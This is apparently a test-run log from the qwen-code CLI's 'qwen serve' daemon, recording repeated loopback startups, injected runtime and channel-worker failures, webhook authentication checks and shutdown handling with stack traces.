at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:31.013Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45781 (mode=http-bridge, workspace=/tmp/qws-runtime-partial-fail-JMugnv)
qwen serve: bound to workspace "/tmp/qws-runtime-partial-fail-JMugnv"
qwen serve: startup timing: processToListenMs=132672 runQwenServeToListenMs=145
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:31.286Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-partial-fail-JMugnv secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime app boom
2026-09-11T23:07:31.322Z [ERROR] [DAEMON] runtime startup failed
Error: runtime app boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:6466:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createServeApp (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5279:25)
2026-09-11T23:07:31.332Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45729 (mode=http-bridge, workspace=/tmp/qws-runtime-partial-fail-UcRYrw/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-partial-fail-UcRYrw/primary"
qwen serve: startup timing: processToListenMs=132897 runQwenServeToListenMs=53
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:31.491Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-partial-fail-UcRYrw/primary secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime app boom
2026-09-11T23:07:31.530Z [ERROR] [DAEMON] runtime startup failed
Error: runtime app boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:6508:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createServeApp (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5279:25)
2026-09-11T23:07:31.542Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43711 (mode=http-bridge, workspace=/tmp/qws-runtime-close-2z0f4e)
qwen serve: bound to workspace "/tmp/qws-runtime-close-2z0f4e"
qwen serve: startup timing: processToListenMs=133094 runQwenServeToListenMs=38
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:31.687Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-close-2z0f4e secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:07:31.905Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
at waitForRuntimeStartingForShutdown (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1382:3)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6651:17
2026-09-11T23:07:31.921Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35307 (mode=http-bridge, workspace=/tmp/qws-runtime-monitor-close-BZ2i5X)
qwen serve: bound to workspace "/tmp/qws-runtime-monitor-close-BZ2i5X"
qwen serve: startup timing: processToListenMs=133491 runQwenServeToListenMs=62
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:32.079Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-monitor-close-BZ2i5X secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:07:32.571Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
at waitForRuntimeStartingForShutdown (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1382:3)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6651:17
2026-09-11T23:07:32.602Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:32.962Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-HopwEw secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:35373 (mode=http-bridge, workspace=/tmp/qws-ws-HopwEw)
qwen serve: bound to workspace "/tmp/qws-ws-HopwEw"
qwen serve: startup timing: processToListenMs=134602 runQwenServeToListenMs=397
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:33.218Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:07:33.313Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-pykiYV secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:34503 (mode=http-bridge, workspace=/tmp/qws-ws-pykiYV)
qwen serve: bound to workspace "/tmp/qws-ws-pykiYV"
qwen serve: startup timing: processToListenMs=134880 runQwenServeToListenMs=190
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:33.457Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:07:33.533Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-XXXM1L secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43187 (mode=http-bridge, workspace=/tmp/qws-ws-XXXM1L)
qwen serve: bound to workspace "/tmp/qws-ws-XXXM1L"
qwen serve: startup timing: processToListenMs=135100 runQwenServeToListenMs=179
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:33.675Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:33.756Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-TghEHv secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36257 (mode=http-bridge, workspace=/tmp/qws-ws-TghEHv)
qwen serve: bound to workspace "/tmp/qws-ws-TghEHv"
qwen serve: startup timing: processToListenMs=135320 runQwenServeToListenMs=171
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:33.897Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:33.972Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-etW09r secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45637 (mode=http-bridge, workspace=/tmp/qws-ws-etW09r)
qwen serve: bound to workspace "/tmp/qws-ws-etW09r"
qwen serve: startup timing: processToListenMs=135541 runQwenServeToListenMs=179
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:34.113Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:34.294Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-IQN4AL secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:34125 (mode=http-bridge, workspace=/tmp/qws-ws-IQN4AL)
qwen serve: bound to workspace "/tmp/qws-ws-IQN4AL"
qwen serve: startup timing: processToListenMs=135860 runQwenServeToListenMs=188
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:34.477Z [WARN] [DAEMON] bytes=262144 direction=outbound messageKind=notification method=session/update sessionUpdate=agent_message_chunk sourceClass=session_update_notification thresholdBytes=262144 large ACP pipe frame observed
2026-09-11T23:07:34.716Z [INFO] [DAEMON] route=GET /daemon/status durationMs=70 status=200 request completed
2026-09-11T23:07:34.788Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:34.982Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-webhook-WZKqPx secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:40941 (mode=http-bridge, workspace=/tmp/qws-channel-webhook-WZKqPx)
qwen serve: bound to workspace "/tmp/qws-channel-webhook-WZKqPx"
qwen serve: startup timing: processToListenMs=136567 runQwenServeToListenMs=207
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:35.193Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:35.311Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-webhook-disabled-Yq1uww secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:35373 (mode=http-bridge, workspace=/tmp/qws-channel-webhook-disabled-Yq1uww)
qwen serve: bound to workspace "/tmp/qws-channel-webhook-disabled-Yq1uww"
qwen serve: startup timing: processToListenMs=136876 runQwenServeToListenMs=174
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:35.463Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:35.703Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-control-Gg938u secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43493 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-control-Gg938u)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-control-Gg938u"
qwen serve: startup timing: processToListenMs=137269 runQwenServeToListenMs=279
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:35.921Z [INFO] [DAEMON] route=GET /capabilities durationMs=31 status=200 request completed
2026-09-11T23:07:46.040Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
2026-09-11T23:07:46.063Z [WARN] [DAEMON] maxMs=3797.942271 daemon event loop stall detected
2026-09-11T23:07:47.614Z [INFO] [DAEMON] route=GET /workspace/channels durationMs=11610 status=200 request completed
2026-09-11T23:07:47.927Z [INFO] [DAEMON] route=PUT /workspace/channel durationMs=120 status=201 request completed
2026-09-11T23:07:48.118Z [INFO] [DAEMON] route=GET /capabilities durationMs=139 status=200 request completed
2026-09-11T23:07:48.595Z [INFO] [DAEMON] route=PUT /workspace/channel durationMs=77 status=200 request completed
2026-09-11T23:07:48.734Z [INFO] [DAEMON] route=DELETE /workspace/channel durationMs=85 status=200 request completed
2026-09-11T23:07:48.811Z [INFO] [DAEMON] route=GET /capabilities durationMs=21 status=200 request completed
2026-09-11T23:07:48.874Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:49.331Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-race-WmO9pg secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41043 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-race-WmO9pg)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-race-WmO9pg"
qwen serve: startup timing: processToListenMs=151037 runQwenServeToListenMs=536
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:49.778Z [INFO] [DAEMON] route=PUT /workspace/channel durationMs=46 status=201 request completed
2026-09-11T23:07:49.807Z [INFO] [DAEMON] route=PUT /workspace/channel durationMs=17 status=200 request completed
2026-09-11T23:07:49.830Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:50.018Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-fifo-i0xTUa secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45571 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-fifo-i0xTUa)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-fifo-i0xTUa"
qwen serve: startup timing: processToListenMs=151598 runQwenServeToListenMs=234
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:50.211Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:50.483Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-drain-JOsz5Z secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44713 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-drain-JOsz5Z)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-drain-JOsz5Z"
qwen serve: startup timing: processToListenMs=152080 runQwenServeToListenMs=218
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:50.684Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:50.832Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-unknown-vMGs4s secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45285 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-unknown-vMGs4s)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-unknown-vMGs4s"
qwen serve: startup timing: processToListenMs=152419 runQwenServeToListenMs=216
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:51.515Z [WARN] [DAEMON] route=PUT /workspace/channel durationMs=189 status=400 request completed
2026-09-11T23:07:51.688Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:52.182Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-conflict-0AReN7 secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:37901 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-conflict-0AReN7)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-conflict-0AReN7"
qwen serve: startup timing: processToListenMs=153888 runQwenServeToListenMs=567
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:52.553Z [WARN] [DAEMON] route=PUT /workspace/channel durationMs=33 status=409 request completed
2026-09-11T23:07:52.581Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:52.732Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-runtime-race-iGWjPV secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:37937 (mode=http-bridge, workspace=/tmp/qws-channel-runtime-race-iGWjPV)
qwen serve: bound to workspace "/tmp/qws-channel-runtime-race-iGWjPV"
qwen serve: startup timing: processToListenMs=154307 runQwenServeToListenMs=201
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:52.946Z [WARN] [DAEMON] route=PUT /workspace/channel durationMs=30 status=409 request completed
2026-09-11T23:07:52.972Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:53.120Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-fail-LPLTn4 secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:37801 (mode=http-bridge, workspace=/tmp/qws-channel-worker-fail-LPLTn4)
qwen serve: bound to workspace "/tmp/qws-channel-worker-fail-LPLTn4"
qwen serve: startup timing: processToListenMs=154829 runQwenServeToListenMs=323
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: runtime startup failed: worker boom
2026-09-11T23:07:53.441Z [ERROR] [DAEMON] runtime startup failed
ChannelWorkerControlError: worker boom
at applySelection (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:427:15)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:527:9
2026-09-11T23:07:53.506Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:53.648Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-reload-YwrAMl secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45983 (mode=http-bridge, workspace=/tmp/qws-channel-worker-reload-YwrAMl)
qwen serve: bound to workspace "/tmp/qws-channel-worker-reload-YwrAMl"
qwen serve: startup timing: processToListenMs=155232 runQwenServeToListenMs=211
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:53.919Z [INFO] [DAEMON] route=POST /workspace/channel/reload durationMs=69 status=200 request completed
2026-09-11T23:07:53.938Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-channel-worker-plan-7HLRGM/debug/daemon/daemon.log
2026-09-11T23:07:54.172Z [ERROR] [DAEMON] daemon startup failed
Error: Channel "telegram" is configured in multiple registered workspaces (/tmp/qws-channel-worker-plan-7HLRGM/primary, /tmp/qws-channel-worker-plan-7HLRGM/secondary). Define it in one workspace's settings or set an explicit "cwd".
at resolveChannelWorkspaceGroupsAtListen (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5862:27)
at Server.onListening (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5923:34)
at Server.f (/build/qwen-code/src/qwen-code/node_modules/once/once.js:25:25)
at Server.wrapper (node:events:639:12)
at Server.emit (node:events:526:24)
at emitListeningNT (node:net:2423:10)
at processTicksAndRejections (node:internal/process/task_queues:89:21)
qwen serve: daemon log → /tmp/qws-dynamic-worker-pidfile-EinwfL/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:39763 (mode=http-bridge, workspace=/tmp/qws-dynamic-worker-pidfile-EinwfL/primary)
qwen serve: bound to workspace "/tmp/qws-dynamic-worker-pidfile-EinwfL/primary"
qwen serve: startup timing: processToListenMs=155742 runQwenServeToListenMs=43
2026-09-11T23:07:54.336Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-dynamic-worker-pidfile-EinwfL/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:55.131Z [INFO] [DAEMON] route=POST /workspaces durationMs=292 status=201 request completed
2026-09-11T23:07:55.366Z [INFO] [DAEMON] route=PUT /workspace/channel durationMs=71 status=201 request completed
2026-09-11T23:07:55.499Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-channel-worker-groups-QBpeBS/debug/daemon/daemon.log
2026-09-11T23:07:55.964Z [INFO] [DAEMON] channels=telegram workspace=/tmp/qws-channel-worker-groups-QBpeBS/primary channel worker group assigned
2026-09-11T23:07:55.967Z [INFO] [DAEMON] channels=feishu workspace=/tmp/qws-channel-worker-groups-QBpeBS/secondary channel worker group assigned
qwen serve listening on http://127.0.0.1:37031 (mode=http-bridge, workspace=/tmp/qws-channel-worker-groups-QBpeBS/primary)
qwen serve: bound to workspace "/tmp/qws-channel-worker-groups-QBpeBS/primary"
qwen serve: startup timing: processToListenMs=157381 runQwenServeToListenMs=208
2026-09-11T23:07:55.976Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:56.040Z [WARN] [DAEMON] channelName=feishu reason="secret mismatch" source=github-ci deferred webhook auth failed
2026-09-11T23:07:56.155Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-groups-QBpeBS/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:56.577Z [INFO] [DAEMON] route=GET /capabilities durationMs=55 status=200 request completed
2026-09-11T23:07:56.619Z [INFO] [DAEMON] channels=telegram pid=1234 workspace=/tmp/qws-channel-worker-groups-QBpeBS/primary channel worker ready
2026-09-11T23:07:56.671Z [INFO] [DAEMON] route=GET /capabilities durationMs=13 status=200 request completed
2026-09-11T23:07:56.687Z [INFO] [DAEMON] channels=feishu pid=5678 workspace=/tmp/qws-channel-worker-groups-QBpeBS/secondary channel worker ready
2026-09-11T23:07:56.707Z [INFO] [DAEMON] channelName=feishu eventType=check_failed source=github-ci targetRef=default channel webhook task accepted
2026-09-11T23:07:56.714Z [INFO] [DAEMON] route=POST /channels/feishu/webhooks/github-ci durationMs=18 status=202 request completed
2026-09-11T23:07:56.775Z [INFO] [DAEMON] route=GET /capabilities durationMs=10 status=200 request completed
2026-09-11T23:07:56.833Z [WARN] [DAEMON] route=DELETE /workspaces/b48fab734462afff durationMs=23 status=409 request completed
2026-09-11T23:07:56.923Z [ERROR] [DAEMON] workspace channel worker topology refresh error
Error: Channel "feishu" is not configured in any registered workspace, or its "cwd" points outside them.
at resolveRuntimeChannelGroups (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6193:31)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:750:26
2026-09-11T23:07:56.950Z [INFO] [DAEMON] route=DELETE /workspaces/b48fab734462afff durationMs=68 status=200 request completed
2026-09-11T23:07:57.013Z [WARN] [DAEMON] channelName=feishu source=github-ci channel webhook authentication failed
2026-09-11T23:07:57.021Z [WARN] [DAEMON] route=POST /channels/feishu/webhooks/github-ci durationMs=9 status=401 request completed
2026-09-11T23:07:57.052Z [WARN] [DAEMON] channel worker [/tmp/qws-channel-worker-groups-QBpeBS/secondary] stderr: Ignored stale channel worker exit (generation=2).
2026-09-11T23:07:57.192Z [INFO] [DAEMON] route=GET /capabilities durationMs=17 status=200 request completed
2026-09-11T23:07:57.229Z [INFO] [DAEMON] channels=feishu pid=5678 workspace=/tmp/qws-channel-worker-groups-QBpeBS/secondary channel worker ready
2026-09-11T23:07:57.248Z [INFO] [DAEMON] route=POST /workspaces durationMs=162 status=201 request completed
2026-09-11T23:07:57.317Z [INFO] [DAEMON] channelName=feishu eventType=check_failed source=github-ci targetRef=default channel webhook task accepted
2026-09-11T23:07:57.323Z [INFO] [DAEMON] route=POST /channels/feishu/webhooks/github-ci durationMs=13 status=202 request completed
2026-09-11T23:07:57.344Z [WARN] [DAEMON] channel worker exited (workspace=/tmp/qws-channel-worker-groups-QBpeBS/secondary, state=failed, pid=unknown, code=null, signal=null, error=worker stopped, restartCount=0, nextRestartAt=none, staleHeartbeatAt=none)
2026-09-11T23:07:57.385Z [ERROR] [DAEMON] workspace channel worker topology refresh error
Error: Channel "feishu" is not configured in any registered workspace, or its "cwd" points outside them.
at resolveRuntimeChannelGroups (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6193:31)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:750:26
2026-09-11T23:07:57.396Z [INFO] [DAEMON] route=DELETE /workspaces/b48fab734462afff durationMs=29 status=200 request completed
2026-09-11T23:07:57.427Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:57.647Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-y7OLOA secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:32933 (mode=http-bridge, workspace=/tmp/qws-channel-worker-y7OLOA)
qwen serve: bound to workspace "/tmp/qws-channel-worker-y7OLOA"
qwen serve: startup timing: processToListenMs=159822 runQwenServeToListenMs=825
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:58.570Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:58.902Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-force-Epju5e secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:38777 (mode=http-bridge, workspace=/tmp/qws-channel-worker-force-Epju5e)
qwen serve: bound to workspace "/tmp/qws-channel-worker-force-Epju5e"
qwen serve: startup timing: processToListenMs=160621 runQwenServeToListenMs=449
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:59.234Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:07:59.237Z [WARN] [DAEMON] received SIGTERM during drain — forcing exit
2026-09-11T23:07:59.283Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-channel-worker-stuck-6dWJGI/debug/daemon/daemon.log
2026-09-11T23:07:59.454Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-stuck-6dWJGI secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:32997 (mode=http-bridge, workspace=/tmp/qws-channel-worker-stuck-6dWJGI)
qwen serve: bound to workspace "/tmp/qws-channel-worker-stuck-6dWJGI"
qwen serve: startup timing: processToListenMs=161068 runQwenServeToListenMs=249
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:59.651Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:07:59.669Z [ERROR] [DAEMON] channel worker stop error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:07:59.698Z [ERROR] [DAEMON] shutdown error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:07:59.701Z [ERROR] [DAEMON] refusing to exit while a channel worker or service lease remains; signal again to retry after the child exits (another signal during that retry forces exit)
2026-09-11T23:07:59.710Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:07:59.715Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:59.904Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-acp-error-lAeRJe secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43677 (mode=http-bridge, workspace=/tmp/qws-channel-acp-error-lAeRJe)
qwen serve: bound to workspace "/tmp/qws-channel-acp-error-lAeRJe"
qwen serve: startup timing: processToListenMs=161530 runQwenServeToListenMs=252
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:00.115Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:08:00.124Z [ERROR] [DAEMON] ACP process registry shutdown error
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8418:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:08:00.131Z [ERROR] [DAEMON] daemon shutdown incomplete
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8418:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
